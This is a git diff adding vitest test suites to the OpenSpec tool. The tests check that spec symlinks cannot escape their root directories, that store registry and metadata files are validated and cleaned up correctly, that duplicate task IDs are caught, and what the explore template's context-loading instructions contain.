fs.writeFile( + deltaPath, + [ + '## ADDED Requirements', + '', + '### Requirement: Safe update', + 'The system SHALL stay inside its planning root.', + '', + '#### Scenario: Apply', + '- **WHEN** the change is archived', + '- **THEN** the spec is updated', + '', + ].join('\n') + ); + return deltaPath; + } + + itWithSymlinks('rejects a delta spec symlink that leaves the change specs root', async () => { + const outsideSpec = path.join(outsideDir, 'spec.md'); + await fs.writeFile(outsideSpec, 'outside sentinel'); + const linkedSpec = path.join(changeSpecsDir, 'widgets', 'spec.md'); + await fs.mkdir(path.dirname(linkedSpec), { recursive: true }); + await fs.symlink(outsideSpec, linkedSpec); + + await expect(findSpecUpdates(changeDir, mainSpecsDir)).rejects.toThrow( + 'Path is outside the allowed directory' + ); + await expect(fs.readFile(outsideSpec, 'utf-8')).resolves.toBe('outside sentinel'); + }); + + itWithSymlinks('supports a linked main capability directory as its trust root', async () => { + const sharedMainDir = path.join(outsideDir, 'main'); + await fs.mkdir(sharedMainDir); + await fs.symlink(sharedMainDir, path.join(mainSpecsDir, 'widgets')); + await writeDelta(); + + const [update] = await findSpecUpdates(changeDir, mainSpecsDir); + const built = await buildUpdatedSpec(update, 'test-change', { silent: true }); + await writeUpdatedSpec(update, built.rebuilt, built.counts, { silent: true }); + + await expect(fs.readFile(path.join(sharedMainDir, 'spec.md'), 'utf-8')).resolves.toContain( + 'Safe update' + ); + }); + + itWithSymlinks('supports a delta spec link elsewhere in the change specs root', async () => { + const sharedDelta = path.join(changeSpecsDir, 'shared-delta.md'); + await fs.writeFile( + sharedDelta, + [ + '## ADDED Requirements', + '', + '### Requirement: Shared safely', + 'The system SHALL preserve confined spec links.', + '', + '#### Scenario: Apply', + '- **WHEN** the linked delta is archived', + '- **THEN** the spec is updated', + '', + ].join('\n') + ); + const linkedDelta = path.join(changeSpecsDir, 'widgets', 'spec.md'); + await fs.mkdir(path.dirname(linkedDelta), { recursive: true }); + await fs.symlink(sharedDelta, linkedDelta); + + const [update] = await findSpecUpdates(changeDir, mainSpecsDir); + const built = await buildUpdatedSpec(update, 'test-change', { silent: true }); + + expect(built.rebuilt).toContain('Shared safely'); + }); + + itWithSymlinks('rechecks the delta source immediately before reading it', async () => { + const deltaPath = await writeDelta(); + const [update] = await findSpecUpdates(changeDir, mainSpecsDir); + const outsideSpec = path.join(outsideDir, 'spec.md'); + await fs.writeFile(outsideSpec, 'outside sentinel'); + await fs.rm(deltaPath); + await fs.symlink(outsideSpec, deltaPath); + + await expect(buildUpdatedSpec(update, 'test-change', { silent: true })).rejects.toThrow( + 'Path is outside the allowed directory' + ); + }); + + itWithSymlinks('rechecks the existing target immediately before reading it', async () => { + await writeDelta(); + const targetPath = path.join(mainSpecsDir, 'widgets', 'spec.md'); + await fs.mkdir(path.dirname(targetPath), { recursive: true }); + await fs.writeFile(targetPath, 'initial main spec'); + const [update] = await findSpecUpdates(changeDir, mainSpecsDir); + const outsideSpec = path.join(outsideDir, 'spec.md'); + await fs.writeFile(outsideSpec, 'outside sentinel'); + await fs.rm(targetPath); + await fs.symlink(outsideSpec, targetPath); + + await expect(buildUpdatedSpec(update, 'test-change', { silent: true })).rejects.toThrow( + 'Path is outside the allowed directory' + ); + await expect(fs.readFile(outsideSpec, 'utf-8')).resolves.toBe('outside sentinel'); + }); + + itWithSymlinks('rechecks the target immediately before writing it', async () => { + await writeDelta(); + const targetDir = path.join(mainSpecsDir, 'widgets'); + await fs.mkdir(targetDir, { recursive: true }); + const [update] = await findSpecUpdates(changeDir, mainSpecsDir); + await fs.rm(targetDir, { recursive: true }); + await fs.symlink(outsideDir, targetDir); + + await expect( + writeUpdatedSpec( + update, + '# widgets Specification\n\n## Purpose\nSafe.\n\n## Requirements\n', + { added: 1, modified: 0, removed: 0, renamed: 0 }, + { silent: true } + ) + ).rejects.toThrow('Path is outside the allowed directory'); + await expect(fs.readdir(outsideDir)).resolves.toEqual([]); + }); +}); diff --git a/test/core/store/foundation.test.ts b/test/core/store/foundation.test.ts new file mode 100644 index 0000000000..6d2239101e --- /dev/null +++ b/test/core/store/foundation.test.ts @@ -0,0 +1,357 @@ +import { describe, it, expect, beforeEach, afterEach } from 'vitest'; +import * as fs from 'node:fs'; +import * as os from 'node:os'; +import * as path from 'node:path'; + +import { getGlobalDataDir } from '../../../src/core/global-config.js'; +import { + STORE_METADATA_DIR_NAME, + STORE_METADATA_FILE_NAME, + STORE_REGISTRY_FILE_NAME, + STORES_DIR_NAME, + getStoreMetadataDir, + getStoreMetadataPath, + getStoreRegistryPath, + getStoresDir, + isStoreRoot, + isValidStoreId, + listStoreRegistryEntries, + parseStoreMetadataState, + parseStoreRegistryState, + readStoreMetadataState, + readStoreRegistryState, + readOptionalStoreMetadataState, + resolveGitStoreBackendConfig, + serializeStoreMetadataState, + serializeStoreRegistryState, + validateStoreId, + writeStoreMetadataState, + writeStoreRegistryState, +} from '../../../src/core/store/index.js'; + +describe('store foundation', () => { + let tempDir: string; + let originalEnv: NodeJS.ProcessEnv; + + beforeEach(() => { + tempDir = fs.mkdtempSync(path.join(os.tmpdir(), 'openspec-store-foundation-')); + originalEnv = { ...process.env }; + }); + + afterEach(() => { + process.env = originalEnv; + fs.rmSync(tempDir, { recursive: true, force: true }); + }); + + function expectedExistingPath(existingPath: string): string { + return fs.realpathSync.native(existingPath); + } + + function expectSameExistingPath(actualPath: string, expectedPath: string): void { + expect(fs.realpathSync.native(actualPath)).toBe(expectedExistingPath(expectedPath)); + } + + describe('path helpers', () => { + it('exposes store constants', () => { + expect(STORE_METADATA_DIR_NAME).toBe('.openspec-store'); + expect(STORE_METADATA_FILE_NAME).toBe('store.yaml'); + expect(STORES_DIR_NAME).toBe('stores'); + expect(STORE_REGISTRY_FILE_NAME).toBe('registry.yaml'); + }); + + it('returns registry and metadata paths', () => { + process.env.XDG_DATA_HOME = tempDir; + const storeRoot = path.join(tempDir, 'acme-context'); + + expect(getStoresDir()).toBe(path.join(tempDir, 'openspec', 'stores')); + expect(getStoreRegistryPath()).toBe( + path.join(tempDir, 'openspec', 'stores', 'registry.yaml') + ); + expect(getStoreMetadataDir(storeRoot)).toBe( + path.join(storeRoot, '.openspec-store') + ); + expect(getStoreMetadataPath(storeRoot)).toBe( + path.join(storeRoot, '.openspec-store', 'store.yaml') + ); + }); + + it('uses global data dir options for registry locations', () => { + const dataDir = getGlobalDataDir({ + env: {}, + platform: 'linux', + homedir: '/home/tabish', + }); + + expect(getStoresDir({ globalDataDir: dataDir })).toBe( + '/home/tabish/.local/share/openspec/stores' + ); + expect(getStoreRegistryPath({ globalDataDir: dataDir })).toBe( + '/home/tabish/.local/share/openspec/stores/registry.yaml' + ); + }); + + it('preserves Windows-style store root strings when building metadata paths', () => { + expect(getStoreMetadataPath('D:\\repos\\acme-context')).toBe( + 'D:\\repos\\acme-context\\.openspec-store\\store.yaml' + ); + }); + }); + + describe('id validation', () => { + it('accepts kebab-case store ids', () => { + expect(validateStoreId('acme')).toBe('acme'); + expect(isValidStoreId('acme-context')).toBe(true); + expect(isValidStoreId('context2')).toBe(true); + }); + + it('rejects ids that are not safe kebab-case folder names', () => { + for (const invalidId of [ + '', + '.', + '..', + 'bad/name', + 'bad\\name', + 'Acme', + 'acme_context', + 'acme.context', + 'acme context', + '-acme', + 'acme-', + 'acme--context', + ]) { + expect(isValidStoreId(invalidId)).toBe(false); + } + }); + }); + + describe('registry parsing and serialization', () => { + it('parses and serializes a strict Git/local store registry', () => { + const registry = parseStoreRegistryState(`version: 1 +stores: + zeta-context: + backend: + type: git + local_path: /repos/zeta-context + acme-context: + backend: + type: git + local_path: /repos/acme-context + remote: git@github.com:acme/context.git + branch: main +`); + + expect(registry.stores['acme-context'].backend).toEqual({ + type: 'git', + local_path: '/repos/acme-context', + remote: 'git@github.com:acme/context.git', + branch: 'main', + }); + expect(listStoreRegistryEntries(registry).map((entry) => entry.id)).toEqual([ + 'acme-context', + 'zeta-context', + ]); + expect(parseStoreRegistryState(serializeStoreRegistryState(registry))).toEqual( + registry + ); + }); + + it('rejects invalid registry structure and ids', () => { + expect(() => + parseStoreRegistryState(`version: 2 +stores: {} +`) + ).toThrow(/Invalid store registry state/u); + + expect(() => + parseStoreRegistryState(`version: 1 +stores: + Acme: + backend: + type: git + local_path: /repos/acme +`) + ).toThrow(/Invalid store id/u); + + expect(() => + parseStoreRegistryState(`version: 1 +stores: + acme: + backend: + type: memory + local_path: /repos/acme +`) + ).toThrow(/Invalid store registry state/u); + + expect(() => + parseStoreRegistryState(`version: 1 +stores: + acme: + backend: + type: git + local_path: "" +`) + ).toThrow(/Invalid store registry state/u); + }); + + it('rejects unknown registry fields', () => { + expect(() => + parseStoreRegistryState(`version: 1 +stores: {} +extra: true +`) + ).toThrow(/Invalid store registry state/u); + + expect(() => + parseStoreRegistryState(`version: 1 +stores: + acme: + backend: + type: git + local_path: /repos/acme + depth: 1 +`) + ).toThrow(/Invalid store registry state/u); + }); + }); + + describe('metadata parsing and serialization', () => { + it('parses and serializes portable store metadata', () => { + const metadata = parseStoreMetadataState(`version: 1 +id: acme-context +`); + + expect(metadata).toEqual({ + version: 1, + id: 'acme-context', + }); + expect(parseStoreMetadataState(serializeStoreMetadataState(metadata))).toEqual( + metadata + ); + }); + + it('rejects invalid metadata state', () => { + expect(() => + parseStoreMetadataState(`version: 1 +id: Acme +`) + ).toThrow(/Store id must be kebab-case/u); + + expect(() => + parseStoreMetadataState(`version: 1 +id: acme +local_path: /repos/acme +`) + ).toThrow(/Invalid store metadata state/u); + }); + }); + + describe('registry IO', () => { + it('returns null for a missing local registry', async () => { + await expect(readStoreRegistryState({ globalDataDir: tempDir })).resolves.toBeNull(); + }); + + it('writes and reads the machine-local registry', async () => { + const registry = { + version: 1 as const, + stores: { + 'acme-context': { + backend: { + type: 'git' as const, + local_path: path.join(tempDir, 'acme-context'), + remote: 'git@github.com:acme/context.git', + }, + }, + }, + }; + + await writeStoreRegistryState(registry, { globalDataDir: tempDir }); + + expect(fs.existsSync(getStoreRegistryPath({ globalDataDir: tempDir }))).toBe(true); + await expect(readStoreRegistryState({ globalDataDir: tempDir })).resolves.toEqual( + registry + ); + }); + }); + + describe('store metadata IO', () => { + it('writes and reads portable metadata inside the store root', async () => { + const storeRoot = path.join(tempDir, 'acme-context'); + + await expect(isStoreRoot(storeRoot)).resolves.toBe(false); + await writeStoreMetadataState(storeRoot, { + version: 1, + id: 'acme-context', + }); + + await expect(isStoreRoot(storeRoot)).resolves.toBe(true); + await expect(readStoreMetadataState(storeRoot)).resolves.toEqual({ + version: 1, + id: 'acme-context', + }); + await expect(readOptionalStoreMetadataState(storeRoot)).resolves.toEqual({ + version: 1, + id: 'acme-context', + }); + }); + + it('returns null only when optional metadata is missing', async () => { + const storeRoot = path.join(tempDir, 'missing-store'); + + await expect(readOptionalStoreMetadataState(storeRoot)).resolves.toBeNull(); + + fs.mkdirSync(path.dirname(getStoreMetadataPath(storeRoot)), { recursive: true }); + fs.writeFileSync(getStoreMetadataPath(storeRoot), 'version: nope\n'); + + await expect(readOptionalStoreMetadataState(storeRoot)).rejects.toThrow( + /Invalid store metadata state/u + ); + }); + }); + + describe('Git/local backend config', () => { + it('resolves an existing local checkout path without creating or managing it', async () => { + const storesDir = path.join(tempDir, 'stores'); + const localPath = path.join(storesDir, 'acme-context'); + fs.mkdirSync(localPath, { recursive: true }); + + const backend = await resolveGitStoreBackendConfig( + { + localPath: 'acme-context', + remote: 'git@github.com:acme/context.git', + branch: 'main', + }, + storesDir + ); + + expect(backend).toEqual({ + type: 'git', + local_path: expect.any(String), + remote: 'git@github.com:acme/context.git', + branch: 'main', + }); + expectSameExistingPath(backend.local_path, localPath); + expect(fs.readdirSync(localPath)).toEqual([]); + }); + + it('rejects missing paths and empty optional Git config values', async () => { + await expect( + resolveGitStoreBackendConfig({ localPath: '' }, tempDir) + ).rejects.toThrow(/must not be empty/u); + + await expect( + resolveGitStoreBackendConfig({ localPath: 'missing' }, tempDir) + ).rejects.toThrow(/does not exist/u); + + const localPath = path.join(tempDir, 'acme-context'); + fs.mkdirSync(localPath, { recursive: true }); + + await expect( + resolveGitStoreBackendConfig({ localPath, remote: '' }, tempDir) + ).rejects.toThrow(/remote must not be empty/u); + + await expect( + resolveGitStoreBackendConfig({ localPath, branch: '' }, tempDir) + ).rejects.toThrow(/branch must not be empty/u); + }); + }); +}); diff --git a/test/core/store/registry.test.ts b/test/core/store/registry.test.ts new file mode 100644 index 0000000000..931cfa5542 --- /dev/null +++ b/test/core/store/registry.test.ts @@ -0,0 +1,560 @@ +import { describe, it, expect, beforeEach, afterEach, vi } from 'vitest'; +import * as fs from 'node:fs'; +import * as os from 'node:os'; +import * as path from 'node:path'; + +import { + getStoreMetadataPath, + getGlobalDataDir, + prepareStoreCleanup, + prepareStoreSetup, + readStoreMetadataState, + readStoreRegistryState, + registerStore, + removeStore, + resolveRegisteredStore, + listRegisteredStores, + setupStore, + setupPreparedStore, + unregisterStoreRegistration, + writeStoreMetadataState, + writeStoreRegistryState, +} from '../../../src/core/index.js'; + +describe('store registry facade', () => { + let tempDir: string; + + beforeEach(() => { + tempDir = fs.mkdtempSync(path.join(os.tmpdir(), 'openspec-store-registry-')); + }); + + afterEach(() => { + fs.rmSync(tempDir, { recursive: true, force: true }); + }); + + function mkdir(relativePath: string): string { + const dirPath = path.join(tempDir, relativePath); + fs.mkdirSync(dirPath, { recursive: true }); + return dirPath; + } + + function canonicalPath(existingPath: string): string { + return fs.realpathSync.native(existingPath); + } + + function expectSameExistingPath(actualPath: string, expectedPath: string): void { + expect(canonicalPath(actualPath)).toBe(canonicalPath(expectedPath)); + } + + it('registers a local Git store by writing metadata and registry state', async () => { + const storesDir = mkdir('stores'); + const storeRoot = mkdir('stores/acme-context'); + + const registered = await registerStore({ + id: 'acme-context', + localPath: 'acme-context', + remote: 'git@github.com:acme/context.git', + branch: 'main', + cwd: storesDir, + globalDataDir: tempDir, + }); + + expect(registered).toEqual({ + id: 'acme-context', + storeRoot: expect.any(String), + backend: { + type: 'git', + local_path: expect.any(String), + remote: 'git@github.com:acme/context.git', + branch: 'main', + }, + }); + expectSameExistingPath(registered.storeRoot, storeRoot); + expectSameExistingPath(registered.backend.local_path, storeRoot); + + await expect(readStoreMetadataState(storeRoot)).resolves.toEqual({ + version: 1, + id: 'acme-context', + }); + const registry = await readStoreRegistryState({ globalDataDir: tempDir }); + expect(registry).toEqual({ + version: 1, + stores: { + 'acme-context': { + backend: { + type: 'git', + local_path: expect.any(String), + remote: 'git@github.com:acme/context.git', + branch: 'main', + }, + }, + }, + }); + expectSameExistingPath( + registry?.stores['acme-context'].backend.local_path ?? '', + storeRoot + ); + }); + + it('rejects a registered path rewrite for an existing id', async () => { + const oldRoot = mkdir('old/acme-context'); + const newRoot = mkdir('new/acme-context'); + const zetaRoot = mkdir('zeta-context'); + + await writeStoreMetadataState(newRoot, { version: 1, id: 'acme-context' }); + await writeStoreRegistryState( + { + version: 1, + stores: { + 'zeta-context': { + backend: { + type: 'git', + local_path: zetaRoot, + }, + }, + 'acme-context': { + backend: { + type: 'git', + local_path: oldRoot, + }, + }, + }, + }, + { globalDataDir: tempDir } + ); + + await expect( + registerStore({ + id: 'acme-context', + localPath: newRoot, + globalDataDir: tempDir, + }) + ).rejects.toThrow(/already registered/u); + + const stores = await listRegisteredStores({ globalDataDir: tempDir }); + expect(stores.map((store) => store.id)).toEqual(['acme-context', 'zeta-context']); + expectSameExistingPath(stores[0].storeRoot, oldRoot); + expectSameExistingPath(stores[0].backend.local_path, oldRoot); + expectSameExistingPath(stores[1].storeRoot, zetaRoot); + expectSameExistingPath(stores[1].backend.local_path, zetaRoot); + }); + + it('rejects registration when existing store metadata has a different id', async () => { + const storeRoot = mkdir('acme-context'); + await writeStoreMetadataState(storeRoot, { version: 1, id: 'other-context' }); + + await expect( + registerStore({ + id: 'acme-context', + localPath: storeRoot, + globalDataDir: tempDir, + }) + ).rejects.toThrow(/does not match registered id/u); + + await expect(readStoreRegistryState({ globalDataDir: tempDir })).resolves.toBeNull(); + }); + + it('rejects invalid registration input before writing registry state', async () => { + const storeRoot = mkdir('acme-context'); + + await expect( + registerStore({ + id: 'Acme', + localPath: storeRoot, + globalDataDir: tempDir, + }) + ).rejects.toThrow(/kebab-case/u); + + await expect( + registerStore({ + id: 'acme-context', + localPath: storeRoot, + remote: '', + globalDataDir: tempDir, + }) + ).rejects.toThrow(/remote must not be empty/u); + + await expect(readStoreRegistryState({ globalDataDir: tempDir })).resolves.toBeNull(); + }); + + it('removes newly created store metadata when the registry write fails', async () => { + const storeRoot = mkdir('acme-context'); + const blockedGlobalDataDir = path.join(tempDir, 'blocked-data-dir'); + fs.writeFileSync(blockedGlobalDataDir, 'not a directory\n'); + + await expect( + registerStore({ + id: 'acme-context', + localPath: storeRoot, + globalDataDir: blockedGlobalDataDir, + }) + ).rejects.toThrow(); + + expect(fs.existsSync(getStoreMetadataPath(storeRoot))).toBe(false); + }); + + it('commits prepared setup against the latest registry state', async () => { + const originalEnv = { ...process.env }; + const dataHome = path.join(tempDir, 'data-home'); + process.env = { + ...process.env, + XDG_DATA_HOME: dataHome, + }; + + try { + const globalDataDir = getGlobalDataDir(); + const preparedRoot = path.join(tempDir, 'team-context'); + const prepared = await prepareStoreSetup({ + id: 'team-context', + path: preparedRoot, + }); + const otherRoot = mkdir('other-context'); + await writeStoreMetadataState(otherRoot, { + version: 1, + id: 'other-context', + }); + await writeStoreRegistryState( + { + version: 1, + stores: { + 'other-context': { + backend: { + type: 'git', + local_path: otherRoot, + }, + }, + }, + }, + { globalDataDir } + ); + + await setupPreparedStore(prepared, { initGit: false }); + + const registry = await readStoreRegistryState({ globalDataDir }); + expect(Object.keys(registry?.stores ?? {})).toEqual(['other-context', 'team-context']); + expectSameExistingPath(registry?.stores['other-context'].backend.local_path ?? '', otherRoot); + expectSameExistingPath(registry?.stores['team-context'].backend.local_path ?? '', preparedRoot); + } finally { + process.env = originalEnv; + } + }); + + it('removes only setup-created root files when registry write fails', async () => { + const originalEnv = { ...process.env }; + const dataHome = mkdir('blocked-data-home'); + fs.writeFileSync(path.join(dataHome, 'openspec'), 'not a directory\n'); + process.env = { + ...process.env, + XDG_DATA_HOME: dataHome, + }; + const storeRoot = path.join(tempDir, 'team-context'); + + try { + await expect( + setupStore({ + id: 'team-context', + path: storeRoot, + initGit: false, + }) + ).rejects.toThrow(); + + expect(fs.existsSync(storeRoot)).toBe(false); + } finally { + process.env = originalEnv; + } + }); + + it('lists registered stores from the machine-local registry', async () => { + const acmeRoot = mkdir('acme-context'); + const zetaRoot = mkdir('zeta-context'); + + await expect(listRegisteredStores({ globalDataDir: tempDir })).resolves.toEqual([]); + + await writeStoreRegistryState( + { + version: 1, + stores: { + 'zeta-context': { + backend: { + type: 'git', + local_path: zetaRoot, + }, + }, + 'acme-context': { + backend: { + type: 'git', + local_path: acmeRoot, + }, + }, + }, + }, + { globalDataDir: tempDir } + ); + + const stores = await listRegisteredStores({ globalDataDir: tempDir }); + expect(stores).toEqual([ + { + id: 'acme-context', + storeRoot: expect.any(String), + backend: { + type: 'git', + local_path: expect.any(String), + }, + }, + { + id: 'zeta-context', + storeRoot: expect.any(String), + backend: { + type: 'git', + local_path: expect.any(String), + }, + }, + ]); + expectSameExistingPath(stores[0].storeRoot, acmeRoot); + expectSameExistingPath(stores[0].backend.local_path, acmeRoot); + expectSameExistingPath(stores[1].storeRoot, zetaRoot); + expectSameExistingPath(stores[1].backend.local_path, zetaRoot); + }); + + it('resolves a registered store and validates portable metadata identity', async () => { + const storeRoot = mkdir('acme-context'); + await writeStoreMetadataState(storeRoot, { version: 1, id: 'acme-context' }); + await writeStoreRegistryState( + { + version: 1, + stores: { + 'acme-context': { + backend: { + type: 'git', + local_path: storeRoot, + }, + }, + }, + }, + { globalDataDir: tempDir } + ); + + const resolved = await resolveRegisteredStore({ + id: 'acme-context', + globalDataDir: tempDir, + }); + expect(resolved).toEqual({ + id: 'acme-context', + storeRoot: expect.any(String), + backend: { + type: 'git', + local_path: expect.any(String), + }, + }); + expectSameExistingPath(resolved.storeRoot, storeRoot); + expectSameExistingPath(resolved.backend.local_path, storeRoot); + }); + + + + it('rejects missing registry entries and bad registered metadata', async () => { + await expect( + resolveRegisteredStore({ id: 'missing-context', globalDataDir: tempDir }) + ).rejects.toThrow(/No store registry found/u); + + // The no-registry fix must not point at --store-path, a flag this PR + // deliberately rejects everywhere else. + await expect( + resolveRegisteredStore({ id: 'missing-context', globalDataDir: tempDir }) + ).rejects.toMatchObject({ + diagnostic: { + code: 'no_store_registry', + fix: expect.not.stringContaining('--store-path'), + }, + }); + + const missingMetadataRoot = mkdir('missing-metadata'); + const mismatchedRoot = mkdir('mismatched'); + await writeStoreMetadataState(mismatchedRoot, { version: 1, id: 'other-context' }); + await writeStoreRegistryState( + { + version: 1, + stores: { + 'missing-metadata': { + backend: { + type: 'git', + local_path: missingMetadataRoot, + }, + }, + mismatched: { + backend: { + type: 'git', + local_path: mismatchedRoot, + }, + }, + }, + }, + { globalDataDir: tempDir } + ); + + await expect( + resolveRegisteredStore({ id: 'unknown-context', globalDataDir: tempDir }) + ).rejects.toThrow(/Unknown store/u); + + await expect( + resolveRegisteredStore({ id: 'missing-metadata', globalDataDir: tempDir }) + ).rejects.toThrow(new RegExp(getStoreMetadataPath(missingMetadataRoot).replace(/[.*+?^${}()|[\]\\]/g, '\\$&'), 'u')); + + await expect( + resolveRegisteredStore({ id: 'mismatched', globalDataDir: tempDir }) + ).rejects.toThrow(/does not match registered id/u); + }); + + it('refuses a prepared remove when the registry entry changes before deletion', async () => { + const firstRoot = mkdir('first/team-context'); + const secondRoot = mkdir('second/team-context'); + await writeStoreMetadataState(firstRoot, { version: 1, id: 'team-context' }); + await writeStoreMetadataState(secondRoot, { version: 1, id: 'team-context' }); + await writeStoreRegistryState( + { + version: 1, + stores: { + 'team-context': { + backend: { + type: 'git', + local_path: firstRoot, + }, + }, + }, + }, + { globalDataDir: tempDir } + ); + const prepared = await prepareStoreCleanup({ + id: 'team-context', + globalDataDir: tempDir, + }); + + await writeStoreRegistryState( + { + version: 1, + stores: { + 'team-context': { + backend: { + type: 'git', + local_path: secondRoot, + }, + }, + }, + }, + { globalDataDir: tempDir } + ); + + await expect(removeStore(prepared)).rejects.toThrow(/changed before cleanup/u); + expect(fs.existsSync(firstRoot)).toBe(true); + expect(fs.existsSync(secondRoot)).toBe(true); + const registry = await readStoreRegistryState({ globalDataDir: tempDir }); + expectSameExistingPath(registry?.stores['team-context'].backend.local_path ?? '', secondRoot); + }); + + it('matches prepared cleanup backends by canonical local path', async () => { + const storeRoot = mkdir('team-context'); + const spelledStoreRoot = `${tempDir}${path.sep}.${path.sep}team-context`; + await writeStoreMetadataState(storeRoot, { version: 1, id: 'team-context' }); + await writeStoreRegistryState( + { + version: 1, + stores: { + 'team-context': { + backend: { + type: 'git', + local_path: spelledStoreRoot, + }, + }, + }, + }, + { globalDataDir: tempDir } + ); + const prepared = await prepareStoreCleanup({ + id: 'team-context', + globalDataDir: tempDir, + }); + + await writeStoreRegistryState( + { + version: 1, + stores: { + 'team-context': { + backend: { + type: 'git', + local_path: storeRoot, + }, + }, + }, + }, + { globalDataDir: tempDir } + ); + + const unregistered = await unregisterStoreRegistration({ + id: 'team-context', + expectedBackend: prepared.backend, + globalDataDir: tempDir, + }); + + expect(unregistered.id).toBe('team-context'); + expectSameExistingPath(unregistered.storeRoot, storeRoot); + await expect(readStoreRegistryState({ globalDataDir: tempDir })).resolves.toEqual({ + version: 1, + stores: {}, + }); + }); + + it('removes the registration first and degrades a failed file deletion to a warning', async () => { + const storeRoot = mkdir('team-context'); + await writeStoreMetadataState(storeRoot, { version: 1, id: 'team-context' }); + await writeStoreRegistryState( + { + version: 1, + stores: { + 'team-context': { + backend: { + type: 'git', + local_path: storeRoot, + }, + }, + }, + }, + { globalDataDir: tempDir } + ); + const prepared = await prepareStoreCleanup({ + id: 'team-context', + globalDataDir: tempDir, + }); + const realRm = fs.promises.rm.bind(fs.promises); + const rmSpy = vi + .spyOn(fs.promises, 'rm') + .mockImplementation(async (target, options) => { + // Only the store-root deletion fails; lock cleanup is real. + if (String(target) === storeRoot) { + throw new Error('simulated delete failure'); + } + return realRm(target as Parameters<typeof realRm>[0], options); + }); + + // Capstone ordering contract: the registry entry is removed FIRST; + // a failed file deletion degrades to a warning (orphan files are + // recoverable, a phantom registration is not). + let result; + try { + result = await removeStore(prepared); + } finally { + rmSpy.mockRestore(); + } + + expect(result.files.deleted).toBe(false); + expect(result.diagnostics[0]).toEqual( + expect.objectContaining({ + severity: 'warning', + code: 'store_files_left_on_disk', + fix: expect.stringContaining('Delete the folder manually:'), + }) + ); + const registry = await readStoreRegistryState({ globalDataDir: tempDir }); + expect(registry?.stores['team-context']).toBeUndefined(); + expect(fs.existsSync(getStoreMetadataPath(storeRoot))).toBe(true); + }); +}); diff --git a/test/core/task-numbering.test.ts b/test/core/task-numbering.test.ts new file mode 100644 index 0000000000..709bede411 --- /dev/null +++ b/test/core/task-numbering.test.ts @@ -0,0 +1,91 @@ +import { describe, expect, it } from 'vitest'; +import { findTaskNumberingIssues } from '../../src/core/validation/task-numbering.js'; + +const findInSingleFile = (content: string) => + findTaskNumberingIssues([{ path: 'tasks.md', content }]).map(({ path: _path, ...issue }) => issue); + +describe('findTaskNumberingIssues', () => { + it('matches duplicate ids at full depth', () => { + const issues = findInSingleFile( + [ + '## 3. Work', + '- [ ] 3.2.1 first child', + '- [ ] 3.2.2 second child', + '- [ ] 3.2.1 duplicate child', + '', + ].join('\n') + ); + + expect(issues).toEqual([ + { + line: 4, + message: 'Task ID "3.2.1" is duplicated; it was first declared on line 2.', + }, + ]); + }); + + it('accepts alphabetic suffixes and numbering gaps', () => { + const issues = findInSingleFile( + ['## 4. Work', '- [ ] 4.2a inserted', '- [ ] 4.2b another', '- [ ] 4.7 gap'].join( + '\r\n' + ) + ); + + expect(issues).toEqual([]); + }); + + it('resets group context at an unnumbered level-two heading', () => { + const issues = findInSingleFile( + [ + '## 1. Work', + '- [ ] 1.1 task', + '## Notes', + '- [ ] 9.1 external note', + '- [ ] 9.1 repeated external note', + ].join('\n') + ); + + expect(issues).toEqual([]); + }); + + it('skips every check in files without numbered groups', () => { + const issues = findInSingleFile( + [ + '# Tasks', + '- [ ] plain task', + '- [ ] 7.1 numbered but ungrouped', + '- [ ] 7.1 duplicate but still ungrouped', + ].join('\n') + ); + + expect(issues).toEqual([]); + }); + + it('compares group prefixes as integers', () => { + const issues = findInSingleFile('## 01. Work\n- [ ] 1.1 task\n'); + + expect(issues).toEqual([]); + }); + + it('detects duplicate ids across task files', () => { + const issues = findTaskNumberingIssues([ + { + path: 'backend/tasks.md', + content: '## 2. Backend\n- [ ] 2.1 shared task\n', + }, + { + path: 'frontend/tasks.md', + content: '## 2. Frontend\n- [ ] 2.1 duplicate task\n', + }, + ]); + + expect(issues).toEqual([ + { + path: 'frontend/tasks.md', + line: 2, + message: + 'Task ID "2.1" is duplicated; it was first declared in backend/tasks.md on line 2.', + }, + ]); + }); +}); diff --git a/test/core/templates/explore.test.ts b/test/core/templates/explore.test.ts new file mode 100644 index 0000000000..280077da83 --- /dev/null +++ b/test/core/templates/explore.test.ts @@ -0,0 +1,274 @@ +import { describe, expect, it } from 'vitest'; + +import { + getExploreSkillTemplate, + getOpsxExploreCommandTemplate, +} from '../../../src/core/templates/skill-templates.js'; + +const skill = getExploreSkillTemplate(); +const command = getOpsxExploreCommandTemplate(); + +// Both delivery surfaces must carry the same contract; every behavioral +// assertion below runs against each body. +const bodies: Array<[string, string]> = [ + ['skill', skill.instructions], + ['command', command.content], +]; + +function newChangeTransition(body: string, label: string): string { + const start = body.indexOf('### When no change exists'); + const end = body.indexOf('### When a change exists'); + + expect(start, label).toBeGreaterThanOrEqual(0); + expect(end, label).toBeGreaterThan(start); + + return body.slice(start, end); +} + +function occurrenceCount(body: string, value: string): number { + return body.split(value).length - 1; +} + +describe('explore templates', () => { + // Regression for #696: explore never loaded the project's declared + // context, so it reasoned without the tech stack, conventions, and + // rules every artifact-creating workflow already receives. + it('loads project context from the OpenSpec config at startup (#696)', () => { + for (const [label, body] of bodies) { + expect(body, label).toContain('openspec/config.yaml'); + expect(body, label).toContain('`context`: project background'); + expect(body, label).toContain('`rules`: keyed by artifact id'); + } + }); + + it('resolves the config through the reported root rather than assuming a repo-local path (#696)', () => { + for (const [label, body] of bodies) { + expect(body, label).toContain('openspec list --json'); + expect(body, label).toContain('<root.path>/openspec/config.yaml'); + expect(body, label).toContain('root.path'); + } + }); + + // resolveConfigFilePath() probes config.yaml then config.yml, and + // `openspec init` leaves a .yml project on .yml forever - naming only + // .yaml would silently skip context for those projects. + it('accepts config.yml as well as config.yaml (#696)', () => { + for (const [label, body] of bodies) { + expect(body, label).toContain('config.yml'); + expect(body, label).toContain('skip this if neither file exists'); + } + }); + + // `rules` is Record<artifactId, string[]>; explore holds no artifact at + // startup, so the guidance must not invite blanket application. + it('scopes rules to the artifact they are keyed to (#696)', () => { + for (const [label, body] of bodies) { + expect(body, label).toContain( + 'the entries for an artifact apply only when you write that artifact' + ); + } + }); + + // House style across instructions.ts and the sibling workflow templates + // forbids leaking context/rules into the artifact, not just the chat. + it('treats project context as constraints that must not leak into output (#696)', () => { + for (const [label, body] of bodies) { + expect(body, label).toContain('constraints for you to follow'); + expect(body, label).toContain( + 'do NOT copy them into the conversation or into any artifact you create' + ); + } + }); + + it('scaffolds a new change before capturing exploration artifacts (#668, #720)', () => { + for (const [label, body] of bodies) { + const transition = newChangeTransition(body, label); + + expect(transition, label).toContain('openspec new change "<name>"'); + expect(transition, label).toContain( + 'Never create a new change directory 